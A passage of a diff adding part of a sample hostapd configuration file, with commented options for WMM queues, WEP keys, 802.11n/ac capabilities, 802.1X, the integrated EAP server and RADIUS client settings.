1540 +# default: disabled (0)
1541 +# 1 = send empty (length=0) SSID in beacon and ignore probe request for
1542 +# broadcast SSID
1543 +# 2 = clear SSID (ASCII 0), but keep the original length (this may be required
1544 +# with some clients that do not support empty SSID) and ignore probe
1545 +# requests for broadcast SSID
1546 +ignore_broadcast_ssid=0
1547 +
1548 +# Do not reply to broadcast Probe Request frames from unassociated STA if there
1549 +# is no room for additional stations (max_num_sta). This can be used to
1550 +# discourage a STA from trying to associate with this AP if the association
1551 +# would be rejected due to maximum STA limit.
1552 +# Default: 0 (disabled)
1553 +#no_probe_resp_if_max_sta=0
1554 +
1555 +# Additional vendor specific elements for Beacon and Probe Response frames
1556 +# This parameter can be used to add additional vendor specific element(s) into
1557 +# the end of the Beacon and Probe Response frames. The format for these
1558 +# element(s) is a hexdump of the raw information elements (id+len+payload for
1559 +# one or more elements)
1560 +#vendor_elements=dd0411223301
1561 +
1562 +# Additional vendor specific elements for (Re)Association Response frames
1563 +# This parameter can be used to add additional vendor specific element(s) into
1564 +# the end of the (Re)Association Response frames. The format for these
1565 +# element(s) is a hexdump of the raw information elements (id+len+payload for
1566 +# one or more elements)
1567 +#assocresp_elements=dd0411223301
1568 +
1569 +# TX queue parameters (EDCF / bursting)
1570 +# tx_queue_<queue name>_<param>
1571 +# queues: data0, data1, data2, data3, after_beacon, beacon
1572 +# (data0 is the highest priority queue)
1573 +# parameters:
1574 +# aifs: AIFS (default 2)
1575 +# cwmin: cwMin (1, 3, 7, 15, 31, 63, 127, 255, 511, 1023, 2047, 4095, 8191,
1576 +# 16383, 32767)
1577 +# cwmax: cwMax (same values as cwMin, cwMax >= cwMin)
1578 +# burst: maximum length (in milliseconds with precision of up to 0.1 ms) for
1579 +# bursting
1580 +#
1581 +# Default WMM parameters (IEEE 802.11 draft; 11-03-0504-03-000e):
1582 +# These parameters are used by the access point when transmitting frames
1583 +# to the clients.
1584 +#
1585 +# Low priority / AC_BK = background
1586 +#tx_queue_data3_aifs=7
1587 +#tx_queue_data3_cwmin=15
1588 +#tx_queue_data3_cwmax=1023
1589 +#tx_queue_data3_burst=0
1590 +# Note: for IEEE 802.11b mode: cWmin=31 cWmax=1023 burst=0
1591 +#
1592 +# Normal priority / AC_BE = best effort
1593 +#tx_queue_data2_aifs=3
1594 +#tx_queue_data2_cwmin=15
1595 +#tx_queue_data2_cwmax=63
1596 +#tx_queue_data2_burst=0
1597 +# Note: for IEEE 802.11b mode: cWmin=31 cWmax=127 burst=0
1598 +#
1599 +# High priority / AC_VI = video
1600 +#tx_queue_data1_aifs=1
1601 +#tx_queue_data1_cwmin=7
1602 +#tx_queue_data1_cwmax=15
1603 +#tx_queue_data1_burst=3.0
1604 +# Note: for IEEE 802.11b mode: cWmin=15 cWmax=31 burst=6.0
1605 +#
1606 +# Highest priority / AC_VO = voice
1607 +#tx_queue_data0_aifs=1
1608 +#tx_queue_data0_cwmin=3
1609 +#tx_queue_data0_cwmax=7
1610 +#tx_queue_data0_burst=1.5
1611 +# Note: for IEEE 802.11b mode: cWmin=7 cWmax=15 burst=3.3
1612 +
1613 +# 802.1D Tag (= UP) to AC mappings
1614 +# WMM specifies following mapping of data frames to different ACs. This mapping
1615 +# can be configured using Linux QoS/tc and sch_pktpri.o module.
1616 +# 802.1D Tag 802.1D Designation Access Category WMM Designation
1617 +# 1 BK AC_BK Background
1618 +# 2 - AC_BK Background
1619 +# 0 BE AC_BE Best Effort
1620 +# 3 EE AC_BE Best Effort
1621 +# 4 CL AC_VI Video
1622 +# 5 VI AC_VI Video
1623 +# 6 VO AC_VO Voice
1624 +# 7 NC AC_VO Voice
1625 +# Data frames with no priority information: AC_BE
1626 +# Management frames: AC_VO
1627 +# PS-Poll frames: AC_BE
1628 +
1629 +# Default WMM parameters (IEEE 802.11 draft; 11-03-0504-03-000e):
1630 +# for 802.11a or 802.11g networks
1631 +# These parameters are sent to WMM clients when they associate.
1632 +# The parameters will be used by WMM clients for frames transmitted to the
1633 +# access point.
1634 +#
1635 +# note - txop_limit is in units of 32microseconds
1636 +# note - acm is admission control mandatory flag. 0 = admission control not
1637 +# required, 1 = mandatory
1638 +# note - Here cwMin and cmMax are in exponent form. The actual cw value used
1639 +# will be (2^n)-1 where n is the value given here. The allowed range for these
1640 +# wmm_ac_??_{cwmin,cwmax} is 0..15 with cwmax >= cwmin.
1641 +#
1642 +wmm_enabled=1
1643 +#
1644 +# WMM-PS Unscheduled Automatic Power Save Delivery [U-APSD]
1645 +# Enable this flag if U-APSD supported outside hostapd (eg., Firmware/driver)
1646 +#uapsd_advertisement_enabled=1
1647 +#
1648 +# Low priority / AC_BK = background
1649 +wmm_ac_bk_cwmin=4
1650 +wmm_ac_bk_cwmax=10
1651 +wmm_ac_bk_aifs=7
1652 +wmm_ac_bk_txop_limit=0
1653 +wmm_ac_bk_acm=0
1654 +# Note: for IEEE 802.11b mode: cWmin=5 cWmax=10
1655 +#
1656 +# Normal priority / AC_BE = best effort
1657 +wmm_ac_be_aifs=3
1658 +wmm_ac_be_cwmin=4
1659 +wmm_ac_be_cwmax=10
1660 +wmm_ac_be_txop_limit=0
1661 +wmm_ac_be_acm=0
1662 +# Note: for IEEE 802.11b mode: cWmin=5 cWmax=7
1663 +#
1664 +# High priority / AC_VI = video
1665 +wmm_ac_vi_aifs=2
1666 +wmm_ac_vi_cwmin=3
1667 +wmm_ac_vi_cwmax=4
1668 +wmm_ac_vi_txop_limit=94
1669 +wmm_ac_vi_acm=0
1670 +# Note: for IEEE 802.11b mode: cWmin=4 cWmax=5 txop_limit=188
1671 +#
1672 +# Highest priority / AC_VO = voice
1673 +wmm_ac_vo_aifs=2
1674 +wmm_ac_vo_cwmin=2
1675 +wmm_ac_vo_cwmax=3
1676 +wmm_ac_vo_txop_limit=47
1677 +wmm_ac_vo_acm=0
1678 +# Note: for IEEE 802.11b mode: cWmin=3 cWmax=4 burst=102
1679 +
1680 +# Static WEP key configuration
1681 +#
1682 +# The key number to use when transmitting.
1683 +# It must be between 0 and 3, and the corresponding key must be set.
1684 +# default: not set
1685 +#wep_default_key=0
1686 +# The WEP keys to use.
1687 +# A key may be a quoted string or unquoted hexadecimal digits.
1688 +# The key length should be 5, 13, or 16 characters, or 10, 26, or 32
1689 +# digits, depending on whether 40-bit (64-bit), 104-bit (128-bit), or
1690 +# 128-bit (152-bit) WEP is used.
1691 +# Only the default key must be supplied; the others are optional.
1692 +# default: not set
1693 +#wep_key0=123456789a
1694 +#wep_key1="vwxyz"
1695 +#wep_key2=0102030405060708090a0b0c0d
1696 +#wep_key3=".2.4.6.8.0.23"
1697 +
1698 +# Station inactivity limit
1699 +#
1700 +# If a station does not send anything in ap_max_inactivity seconds, an
1701 +# empty data frame is sent to it in order to verify whether it is
1702 +# still in range. If this frame is not ACKed, the station will be
1703 +# disassociated and then deauthenticated. This feature is used to
1704 +# clear station table of old entries when the STAs move out of the
1705 +# range.
1706 +#
1707 +# The station can associate again with the AP if it is still in range;
1708 +# this inactivity poll is just used as a nicer way of verifying
1709 +# inactivity; i.e., client will not report broken connection because
1710 +# disassociation frame is not sent immediately without first polling
1711 +# the STA with a data frame.
1712 +# default: 300 (i.e., 5 minutes)
1713 +#ap_max_inactivity=300
1714 +#
1715 +# The inactivity polling can be disabled to disconnect stations based on
1716 +# inactivity timeout so that idle stations are more likely to be disconnected
1717 +# even if they are still in range of the AP. This can be done by setting
1718 +# skip_inactivity_poll to 1 (default 0).
1719 +#skip_inactivity_poll=0
1720 +
1721 +# Disassociate stations based on excessive transmission failures or other
1722 +# indications of connection loss. This depends on the driver capabilities and
1723 +# may not be available with all drivers.
1724 +#disassoc_low_ack=1
1725 +
1726 +# Maximum allowed Listen Interval (how many Beacon periods STAs are allowed to
1727 +# remain asleep). Default: 65535 (no limit apart from field size)
1728 +#max_listen_interval=100
1729 +
1730 +# WDS (4-address frame) mode with per-station virtual interfaces
1731 +# (only supported with driver=nl80211)
1732 +# This mode allows associated stations to use 4-address frames to allow layer 2
1733 +# bridging to be used.
1734 +#wds_sta=1
1735 +
1736 +# If bridge parameter is set, the WDS STA interface will be added to the same
1737 +# bridge by default. This can be overridden with the wds_bridge parameter to
1738 +# use a separate bridge.
1739 +#wds_bridge=wds-br0
1740 +
1741 +# Start the AP with beaconing disabled by default.
1742 +#start_disabled=0
1743 +
1744 +# Client isolation can be used to prevent low-level bridging of frames between
1745 +# associated stations in the BSS. By default, this bridging is allowed.
1746 +#ap_isolate=1
1747 +
1748 +# BSS Load update period (in BUs)
1749 +# This field is used to enable and configure adding a BSS Load element into
1750 +# Beacon and Probe Response frames.
1751 +#bss_load_update_period=50
1752 +
1753 +# Fixed BSS Load value for testing purposes
1754 +# This field can be used to configure hostapd to add a fixed BSS Load element
1755 +# into Beacon and Probe Response frames for testing purposes. The format is
1756 +# <station count>:<channel utilization>:<available admission capacity>
1757 +#bss_load_test=12:80:20000
1758 +
1759 +##### IEEE 802.11n related configuration ######################################
1760 +
1761 +# ieee80211n: Whether IEEE 802.11n (HT) is enabled
1762 +# 0 = disabled (default)
1763 +# 1 = enabled
1764 +# Note: You will also need to enable WMM for full HT functionality.
1765 +# Note: hw_mode=g (2.4 GHz) and hw_mode=a (5 GHz) is used to specify the band.
1766 +#ieee80211n=1
1767 +
1768 +# ht_capab: HT capabilities (list of flags)
1769 +# LDPC coding capability: [LDPC] = supported
1770 +# Supported channel width set: [HT40-] = both 20 MHz and 40 MHz with secondary
1771 +# channel below the primary channel; [HT40+] = both 20 MHz and 40 MHz
1772 +# with secondary channel above the primary channel
1773 +# (20 MHz only if neither is set)
1774 +# Note: There are limits on which channels can be used with HT40- and
1775 +# HT40+. Following table shows the channels that may be available for
1776 +# HT40- and HT40+ use per IEEE 802.11n Annex J:
1777 +# freq HT40- HT40+
1778 +# 2.4 GHz 5-13 1-7 (1-9 in Europe/Japan)
1779 +# 5 GHz 40,48,56,64 36,44,52,60
1780 +# (depending on the location, not all of these channels may be available
1781 +# for use)
1782 +# Please note that 40 MHz channels may switch their primary and secondary
1783 +# channels if needed or creation of 40 MHz channel maybe rejected based
1784 +# on overlapping BSSes. These changes are done automatically when hostapd
1785 +# is setting up the 40 MHz channel.
1786 +# Spatial Multiplexing (SM) Power Save: [SMPS-STATIC] or [SMPS-DYNAMIC]
1787 +# (SMPS disabled if neither is set)
1788 +# HT-greenfield: [GF] (disabled if not set)
1789 +# Short GI for 20 MHz: [SHORT-GI-20] (disabled if not set)
1790 +# Short GI for 40 MHz: [SHORT-GI-40] (disabled if not set)
1791 +# Tx STBC: [TX-STBC] (disabled if not set)
1792 +# Rx STBC: [RX-STBC1] (one spatial stream), [RX-STBC12] (one or two spatial
1793 +# streams), or [RX-STBC123] (one, two, or three spatial streams); Rx STBC
1794 +# disabled if none of these set
1795 +# HT-delayed Block Ack: [DELAYED-BA] (disabled if not set)
1796 +# Maximum A-MSDU length: [MAX-AMSDU-7935] for 7935 octets (3839 octets if not
1797 +# set)
1798 +# DSSS/CCK Mode in 40 MHz: [DSSS_CCK-40] = allowed (not allowed if not set)
1799 +# 40 MHz intolerant [40-INTOLERANT] (not advertised if not set)
1800 +# L-SIG TXOP protection support: [LSIG-TXOP-PROT] (disabled if not set)
1801 +#ht_capab=[HT40-][SHORT-GI-20][SHORT-GI-40]
1802 +
1803 +# Require stations to support HT PHY (reject association if they do not)
1804 +#require_ht=1
1805 +
1806 +# If set non-zero, require stations to perform scans of overlapping
1807 +# channels to test for stations which would be affected by 40 MHz traffic.
1808 +# This parameter sets the interval in seconds between these scans. Setting this
1809 +# to non-zero allows 2.4 GHz band AP to move dynamically to a 40 MHz channel if
1810 +# no co-existence issues with neighboring devices are found.
1811 +#obss_interval=0
1812 +
1813 +##### IEEE 802.11ac related configuration #####################################
1814 +
1815 +# ieee80211ac: Whether IEEE 802.11ac (VHT) is enabled
1816 +# 0 = disabled (default)
1817 +# 1 = enabled
1818 +# Note: You will also need to enable WMM for full VHT functionality.
1819 +# Note: hw_mode=a is used to specify that 5 GHz band is used with VHT.
1820 +#ieee80211ac=1
1821 +
1822 +# vht_capab: VHT capabilities (list of flags)
1823 +#
1824 +# vht_max_mpdu_len: [MAX-MPDU-7991] [MAX-MPDU-11454]
1825 +# Indicates maximum MPDU length
1826 +# 0 = 3895 octets (default)
1827 +# 1 = 7991 octets
1828 +# 2 = 11454 octets
1829 +# 3 = reserved
1830 +#
1831 +# supported_chan_width: [VHT160] [VHT160-80PLUS80]
1832 +# Indicates supported Channel widths
1833 +# 0 = 160 MHz & 80+80 channel widths are not supported (default)
1834 +# 1 = 160 MHz channel width is supported
1835 +# 2 = 160 MHz & 80+80 channel widths are supported
1836 +# 3 = reserved
1837 +#
1838 +# Rx LDPC coding capability: [RXLDPC]
1839 +# Indicates support for receiving LDPC coded pkts
1840 +# 0 = Not supported (default)
1841 +# 1 = Supported
1842 +#
1843 +# Short GI for 80 MHz: [SHORT-GI-80]
1844 +# Indicates short GI support for reception of packets transmitted with TXVECTOR
1845 +# params format equal to VHT and CBW = 80Mhz
1846 +# 0 = Not supported (default)
1847 +# 1 = Supported
1848 +#
1849 +# Short GI for 160 MHz: [SHORT-GI-160]
1850 +# Indicates short GI support for reception of packets transmitted with TXVECTOR
1851 +# params format equal to VHT and CBW = 160Mhz
1852 +# 0 = Not supported (default)
1853 +# 1 = Supported
1854 +#
1855 +# Tx STBC: [TX-STBC-2BY1]
1856 +# Indicates support for the transmission of at least 2x1 STBC
1857 +# 0 = Not supported (default)
1858 +# 1 = Supported
1859 +#
1860 +# Rx STBC: [RX-STBC-1] [RX-STBC-12] [RX-STBC-123] [RX-STBC-1234]
1861 +# Indicates support for the reception of PPDUs using STBC
1862 +# 0 = Not supported (default)
1863 +# 1 = support of one spatial stream
1864 +# 2 = support of one and two spatial streams
1865 +# 3 = support of one, two and three spatial streams
1866 +# 4 = support of one, two, three and four spatial streams
1867 +# 5,6,7 = reserved
1868 +#
1869 +# SU Beamformer Capable: [SU-BEAMFORMER]
1870 +# Indicates support for operation as a single user beamformer
1871 +# 0 = Not supported (default)
1872 +# 1 = Supported
1873 +#
1874 +# SU Beamformee Capable: [SU-BEAMFORMEE]
1875 +# Indicates support for operation as a single user beamformee
1876 +# 0 = Not supported (default)
1877 +# 1 = Supported
1878 +#
1879 +# Compressed Steering Number of Beamformer Antennas Supported:
1880 +# [BF-ANTENNA-2] [BF-ANTENNA-3] [BF-ANTENNA-4]
1881 +# Beamformee's capability indicating the maximum number of beamformer
1882 +# antennas the beamformee can support when sending compressed beamforming
1883 +# feedback
1884 +# If SU beamformer capable, set to maximum value minus 1
1885 +# else reserved (default)
1886 +#
1887 +# Number of Sounding Dimensions:
1888 +# [SOUNDING-DIMENSION-2] [SOUNDING-DIMENSION-3] [SOUNDING-DIMENSION-4]
1889 +# Beamformer's capability indicating the maximum value of the NUM_STS parameter
1890 +# in the TXVECTOR of a VHT NDP
1891 +# If SU beamformer capable, set to maximum value minus 1
1892 +# else reserved (default)
1893 +#
1894 +# MU Beamformer Capable: [MU-BEAMFORMER]
1895 +# Indicates support for operation as an MU beamformer
1896 +# 0 = Not supported or sent by Non-AP STA (default)
1897 +# 1 = Supported
1898 +#
1899 +# VHT TXOP PS: [VHT-TXOP-PS]
1900 +# Indicates whether or not the AP supports VHT TXOP Power Save Mode
1901 +# or whether or not the STA is in VHT TXOP Power Save mode
1902 +# 0 = VHT AP doesn't support VHT TXOP PS mode (OR) VHT STA not in VHT TXOP PS
1903 +# mode
1904 +# 1 = VHT AP supports VHT TXOP PS mode (OR) VHT STA is in VHT TXOP power save
1905 +# mode
1906 +#
1907 +# +HTC-VHT Capable: [HTC-VHT]
1908 +# Indicates whether or not the STA supports receiving a VHT variant HT Control
1909 +# field.
1910 +# 0 = Not supported (default)
1911 +# 1 = supported
1912 +#
1913 +# Maximum A-MPDU Length Exponent: [MAX-A-MPDU-LEN-EXP0]..[MAX-A-MPDU-LEN-EXP7]
1914 +# Indicates the maximum length of A-MPDU pre-EOF padding that the STA can recv
1915 +# This field is an integer in the range of 0 to 7.
1916 +# The length defined by this field is equal to
1917 +# 2 pow(13 + Maximum A-MPDU Length Exponent) -1 octets
1918 +#
1919 +# VHT Link Adaptation Capable: [VHT-LINK-ADAPT2] [VHT-LINK-ADAPT3]
1920 +# Indicates whether or not the STA supports link adaptation using VHT variant
1921 +# HT Control field
1922 +# If +HTC-VHTcapable is 1
1923 +# 0 = (no feedback) if the STA does not provide VHT MFB (default)
1924 +# 1 = reserved
1925 +# 2 = (Unsolicited) if the STA provides only unsolicited VHT MFB
1926 +# 3 = (Both) if the STA can provide VHT MFB in response to VHT MRQ and if the
1927 +# STA provides unsolicited VHT MFB
1928 +# Reserved if +HTC-VHTcapable is 0
1929 +#
1930 +# Rx Antenna Pattern Consistency: [RX-ANTENNA-PATTERN]
1931 +# Indicates the possibility of Rx antenna pattern change
1932 +# 0 = Rx antenna pattern might change during the lifetime of an association
1933 +# 1 = Rx antenna pattern does not change during the lifetime of an association
1934 +#
1935 +# Tx Antenna Pattern Consistency: [TX-ANTENNA-PATTERN]
1936 +# Indicates the possibility of Tx antenna pattern change
1937 +# 0 = Tx antenna pattern might change during the lifetime of an association
1938 +# 1 = Tx antenna pattern does not change during the lifetime of an association
1939 +#vht_capab=[SHORT-GI-80][HTC-VHT]
1940 +#
1941 +# Require stations to support VHT PHY (reject association if they do not)
1942 +#require_vht=1
1943 +
1944 +# 0 = 20 or 40 MHz operating Channel width
1945 +# 1 = 80 MHz channel width
1946 +# 2 = 160 MHz channel width
1947 +# 3 = 80+80 MHz channel width
1948 +#vht_oper_chwidth=1
1949 +#
1950 +# center freq = 5 GHz + (5 * index)
1951 +# So index 42 gives center freq 5.210 GHz
1952 +# which is channel 42 in 5G band
1953 +#
1954 +#vht_oper_centr_freq_seg0_idx=42
1955 +#
1956 +# center freq = 5 GHz + (5 * index)
1957 +# So index 159 gives center freq 5.795 GHz
1958 +# which is channel 159 in 5G band
1959 +#
1960 +#vht_oper_centr_freq_seg1_idx=159
1961 +
1962 +# Workaround to use station's nsts capability in (Re)Association Response frame
1963 +# This may be needed with some deployed devices as an interoperability
1964 +# workaround for beamforming if the AP's capability is greater than the
1965 +# station's capability. This is disabled by default and can be enabled by
1966 +# setting use_sta_nsts=1.
1967 +#use_sta_nsts=0
1968 +
1969 +##### IEEE 802.1X-2004 related configuration ##################################
1970 +
1971 +# Require IEEE 802.1X authorization
1972 +#ieee8021x=1
1973 +
1974 +# IEEE 802.1X/EAPOL version
1975 +# hostapd is implemented based on IEEE Std 802.1X-2004 which defines EAPOL
1976 +# version 2. However, there are many client implementations that do not handle
1977 +# the new version number correctly (they seem to drop the frames completely).
1978 +# In order to make hostapd interoperate with these clients, the version number
1979 +# can be set to the older version (1) with this configuration value.
1980 +#eapol_version=2
1981 +
1982 +# Optional displayable message sent with EAP Request-Identity. The first \0
1983 +# in this string will be converted to ASCII-0 (nul). This can be used to
1984 +# separate network info (comma separated list of attribute=value pairs); see,
1985 +# e.g., RFC 4284.
1986 +#eap_message=hello
1987 +#eap_message=hello\0networkid=netw,nasid=foo,portid=0,NAIRealms=example.com
1988 +
1989 +# WEP rekeying (disabled if key lengths are not set or are set to 0)
1990 +# Key lengths for default/broadcast and individual/unicast keys:
1991 +# 5 = 40-bit WEP (also known as 64-bit WEP with 40 secret bits)
1992 +# 13 = 104-bit WEP (also known as 128-bit WEP with 104 secret bits)
1993 +#wep_key_len_broadcast=5
1994 +#wep_key_len_unicast=5
1995 +# Rekeying period in seconds. 0 = do not rekey (i.e., set keys only once)
1996 +#wep_rekey_period=300
1997 +
1998 +# EAPOL-Key index workaround (set bit7) for WinXP Supplicant (needed only if
1999 +# only broadcast keys are used)
2000 +eapol_key_index_workaround=0
2001 +
2002 +# EAP reauthentication period in seconds (default: 3600 seconds; 0 = disable
2003 +# reauthentication).
2004 +#eap_reauth_period=3600
2005 +
2006 +# Use PAE group address (01:80:c2:00:00:03) instead of individual target
2007 +# address when sending EAPOL frames with driver=wired. This is the most common
2008 +# mechanism used in wired authentication, but it also requires that the port
2009 +# is only used by one station.
2010 +#use_pae_group_addr=1
2011 +
2012 +# EAP Re-authentication Protocol (ERP) authenticator (RFC 6696)
2013 +#
2014 +# Whether to initiate EAP authentication with EAP-Initiate/Re-auth-Start before
2015 +# EAP-Identity/Request
2016 +#erp_send_reauth_start=1
2017 +#
2018 +# Domain name for EAP-Initiate/Re-auth-Start. Omitted from the message if not
2019 +# set (no local ER server). This is also used by the integrated EAP server if
2020 +# ERP is enabled (eap_server_erp=1).
2021 +#erp_domain=example.com
2022 +
2023 +##### Integrated EAP server ###################################################
2024 +
2025 +# Optionally, hostapd can be configured to use an integrated EAP server
2026 +# to process EAP authentication locally without need for an external RADIUS
2027 +# server. This functionality can be used both as a local authentication server
2028 +# for IEEE 802.1X/EAPOL and as a RADIUS server for other devices.
2029 +
2030 +# Use integrated EAP server instead of external RADIUS authentication
2031 +# server. This is also needed if hostapd is configured to act as a RADIUS
2032 +# authentication server.
2033 +#eap_server=0
2034 +
2035 +# Path for EAP server user database
2036 +# If SQLite support is included, this can be set to "sqlite:/path/to/sqlite.db"
2037 +# to use SQLite database instead of a text file.
2038 +#eap_user_file=/etc/hostapd.eap_user
2039 +
2040 +# CA certificate (PEM or DER file) for EAP-TLS/PEAP/TTLS
2041 +#ca_cert=/etc/hostapd.ca.pem
2042 +
2043 +# Server certificate (PEM or DER file) for EAP-TLS/PEAP/TTLS
2044 +#server_cert=/etc/hostapd.server.pem
2045 +
2046 +# Private key matching with the server certificate for EAP-TLS/PEAP/TTLS
2047 +# This may point to the same file as server_cert if both certificate and key
2048 +# are included in a single file. PKCS#12 (PFX) file (.p12/.pfx) can also be
2049 +# used by commenting out server_cert and specifying the PFX file as the
2050 +# private_key.
2051 +#private_key=/etc/hostapd.server.prv
2052 +
2053 +# Passphrase for private key
2054 +#private_key_passwd=secret passphrase
2055 +
2056 +# Server identity
2057 +# EAP methods that provide mechanism for authenticated server identity delivery
2058 +# use this value. If not set, "hostapd" is used as a default.
2059 +#server_id=server.example.com
2060 +
2061 +# Enable CRL verification.
2062 +# Note: hostapd does not yet support CRL downloading based on CDP. Thus, a
2063 +# valid CRL signed by the CA is required to be included in the ca_cert file.
2064 +# This can be done by using PEM format for CA certificate and CRL and
2065 +# concatenating these into one file. Whenever CRL changes, hostapd needs to be
2066 +# restarted to take the new CRL into use.
2067 +# 0 = do not verify CRLs (default)
2068 +# 1 = check the CRL of the user certificate
2069 +# 2 = check all CRLs in the certificate path
2070 +#check_crl=1
2071 +
2072 +# TLS Session Lifetime in seconds
2073 +# This can be used to allow TLS sessions to be cached and resumed with an
2074 +# abbreviated handshake when using EAP-TLS/TTLS/PEAP.
2075 +# (default: 0 = session caching and resumption disabled)
2076 +#tls_session_lifetime=3600
2077 +
2078 +# Cached OCSP stapling response (DER encoded)
2079 +# If set, this file is sent as a certificate status response by the EAP server
2080 +# if the EAP peer requests certificate status in the ClientHello message.
2081 +# This cache file can be updated, e.g., by running following command
2082 +# periodically to get an update from the OCSP responder:
2083 +# openssl ocsp \
2084 +# -no_nonce \
2085 +# -CAfile /etc/hostapd.ca.pem \
2086 +# -issuer /etc/hostapd.ca.pem \
2087 +# -cert /etc/hostapd.server.pem \
2088 +# -url http://ocsp.example.com:8888/ \
2089 +# -respout /tmp/ocsp-cache.der
2090 +#ocsp_stapling_response=/tmp/ocsp-cache.der
2091 +
2092 +# Cached OCSP stapling response list (DER encoded OCSPResponseList)
2093 +# This is similar to ocsp_stapling_response, but the extended version defined in
2094 +# RFC 6961 to allow multiple OCSP responses to be provided.
2095 +#ocsp_stapling_response_multi=/tmp/ocsp-multi-cache.der
2096 +
2097 +# dh_file: File path to DH/DSA parameters file (in PEM format)
2098 +# This is an optional configuration file for setting parameters for an
2099 +# ephemeral DH key exchange. In most cases, the default RSA authentication does
2100 +# not use this configuration. However, it is possible setup RSA to use
2101 +# ephemeral DH key exchange. In addition, ciphers with DSA keys always use
2102 +# ephemeral DH keys. This can be used to achieve forward secrecy. If the file
2103 +# is in DSA parameters format, it will be automatically converted into DH
2104 +# params. This parameter is required if anonymous EAP-FAST is used.
2105 +# You can generate DH parameters file with OpenSSL, e.g.,
2106 +# "openssl dhparam -out /etc/hostapd.dh.pem 2048"
2107 +#dh_file=/etc/hostapd.dh.pem
2108 +
2109 +# OpenSSL cipher string
2110 +#
2111 +# This is an OpenSSL specific configuration option for configuring the default
2112 +# ciphers. If not set, "DEFAULT:!EXP:!LOW" is used as the default.
2113 +# See https://www.openssl.org/docs/apps/ciphers.html for OpenSSL documentation
2114 +# on cipher suite configuration. This is applicable only if hostapd is built to
2115 +# use OpenSSL.
2116 +#openssl_ciphers=DEFAULT:!EXP:!LOW
2117 +
2118 +# Fragment size for EAP methods
2119 +#fragment_size=1400
2120 +
2121 +# Finite cyclic group for EAP-pwd. Number maps to group of domain parameters
2122 +# using the IANA repository for IKE (RFC 2409).
2123 +#pwd_group=19
2124 +
2125 +# Configuration data for EAP-SIM database/authentication gateway interface.
2126 +# This is a text string in implementation specific format. The example
2127 +# implementation in eap_sim_db.c uses this as the UNIX domain socket name for
2128 +# the HLR/AuC gateway (e.g., hlr_auc_gw). In this case, the path uses "unix:"
2129 +# prefix. If hostapd is built with SQLite support (CONFIG_SQLITE=y in .config),
2130 +# database file can be described with an optional db=<path> parameter.
2131 +#eap_sim_db=unix:/tmp/hlr_auc_gw.sock
2132 +#eap_sim_db=unix:/tmp/hlr_auc_gw.sock db=/tmp/hostapd.db
2133 +
2134 +# EAP-SIM DB request timeout
2135 +# This parameter sets the maximum time to wait for a database request response.
2136 +# The parameter value is in seconds.
2137 +#eap_sim_db_timeout=1
2138 +
2139 +# Encryption key for EAP-FAST PAC-Opaque values. This key must be a secret,
2140 +# random value. It is configured as a 16-octet value in hex format. It can be
2141 +# generated, e.g., with the following command:
2142 +# od -tx1 -v -N16 /dev/random | colrm 1 8 | tr -d ' '
2143 +#pac_opaque_encr_key=000102030405060708090a0b0c0d0e0f
2144 +
2145 +# EAP-FAST authority identity (A-ID)
2146 +# A-ID indicates the identity of the authority that issues PACs. The A-ID
2147 +# should be unique across all issuing servers. In theory, this is a variable
2148 +# length field, but due to some existing implementations requiring A-ID to be
2149 +# 16 octets in length, it is strongly recommended to use that length for the
2150 +# field to provid interoperability with deployed peer implementations. This
2151 +# field is configured in hex format.
2152 +#eap_fast_a_id=101112131415161718191a1b1c1d1e1f
2153 +
2154 +# EAP-FAST authority identifier information (A-ID-Info)
2155 +# This is a user-friendly name for the A-ID. For example, the enterprise name
2156 +# and server name in a human-readable format. This field is encoded as UTF-8.
2157 +#eap_fast_a_id_info=test server
2158 +
2159 +# Enable/disable different EAP-FAST provisioning modes:
2160 +#0 = provisioning disabled
2161 +#1 = only anonymous provisioning allowed
2162 +#2 = only authenticated provisioning allowed
2163 +#3 = both provisioning modes allowed (default)
2164 +#eap_fast_prov=3
2165 +
2166 +# EAP-FAST PAC-Key lifetime in seconds (hard limit)
2167 +#pac_key_lifetime=604800
2168 +
2169 +# EAP-FAST PAC-Key refresh time in seconds (soft limit on remaining hard
2170 +# limit). The server will generate a new PAC-Key when this number of seconds
2171 +# (or fewer) of the lifetime remains.
2172 +#pac_key_refresh_time=86400
2173 +
2174 +# EAP-SIM and EAP-AKA protected success/failure indication using AT_RESULT_IND
2175 +# (default: 0 = disabled).
2176 +#eap_sim_aka_result_ind=1
2177 +
2178 +# Trusted Network Connect (TNC)
2179 +# If enabled, TNC validation will be required before the peer is allowed to
2180 +# connect. Note: This is only used with EAP-TTLS and EAP-FAST. If any other
2181 +# EAP method is enabled, the peer will be allowed to connect without TNC.
2182 +#tnc=1
2183 +
2184 +# EAP Re-authentication Protocol (ERP) - RFC 6696
2185 +#
2186 +# Whether to enable ERP on the EAP server.
2187 +#eap_server_erp=1
2188 +
2189 +##### IEEE 802.11f - Inter-Access Point Protocol (IAPP) #######################
2190 +
2191 +# Interface to be used for IAPP broadcast packets
2192 +#iapp_interface=eth0
2193 +
2194 +
2195 +##### RADIUS client configuration #############################################
2196 +# for IEEE 802.1X with external Authentication Server, IEEE 802.11
2197 +# authentication with external ACL for MAC addresses, and accounting
2198 +
2199 +# The own IP address of the access point (used as NAS-IP-Address)
2200 +own_ip_addr=127.0.0.1
2201 +
2202 +# NAS-Identifier string for RADIUS messages. When used, this should be unique
2203 +# to the NAS within the scope of the RADIUS server. Please note that hostapd
2204 +# uses a separate RADIUS client for each BSS and as such, a unique
2205 +# nas_identifier value should be configured separately for each BSS. This is
2206 +# particularly important for cases where RADIUS accounting is used
2207 +# (Accounting-On/Off messages are interpreted as clearing all ongoing sessions
2208 +# and that may get interpreted as applying to all BSSes if the same
2209 +# NAS-Identifier value is used.) For example, a fully qualified domain name
2210 +# prefixed with a unique identifier of the BSS (e.g., BSSID) can be used here.
2211 +#
2212 +# When using IEEE 802.11r, nas_identifier must be set and must be between 1 and
2213 +# 48 octets long.
2214 +#
2215 +# It is mandatory to configure either own_ip_addr or nas_identifier to be
2216 +# compliant with the RADIUS protocol. When using RADIUS accounting, it is
2217 +# strongly recommended that nas_identifier is set to a unique value for each
2218 +# BSS.
2219 +#nas_identifier=ap.example.com
2220 +
2221 +# RADIUS client forced local IP address for the access point
2222 +# Normally the local IP address is determined automatically based on configured
2223 +# IP addresses, but this field can be used to force a specific address to be
2224 +# used, e.g., when the device has multiple IP addresses.
2225 +#radius_client_addr=127.0.0.1
2226 +
2227 +# RADIUS authentication server
2228 +#auth_server_addr=127.0.0.1
2229 +#auth_server_port=1812
2230 +#auth_server_shared_secret=secret
2231 +
2232 +# RADIUS accounting server
2233 +#acct_server_addr=127.0.0.1
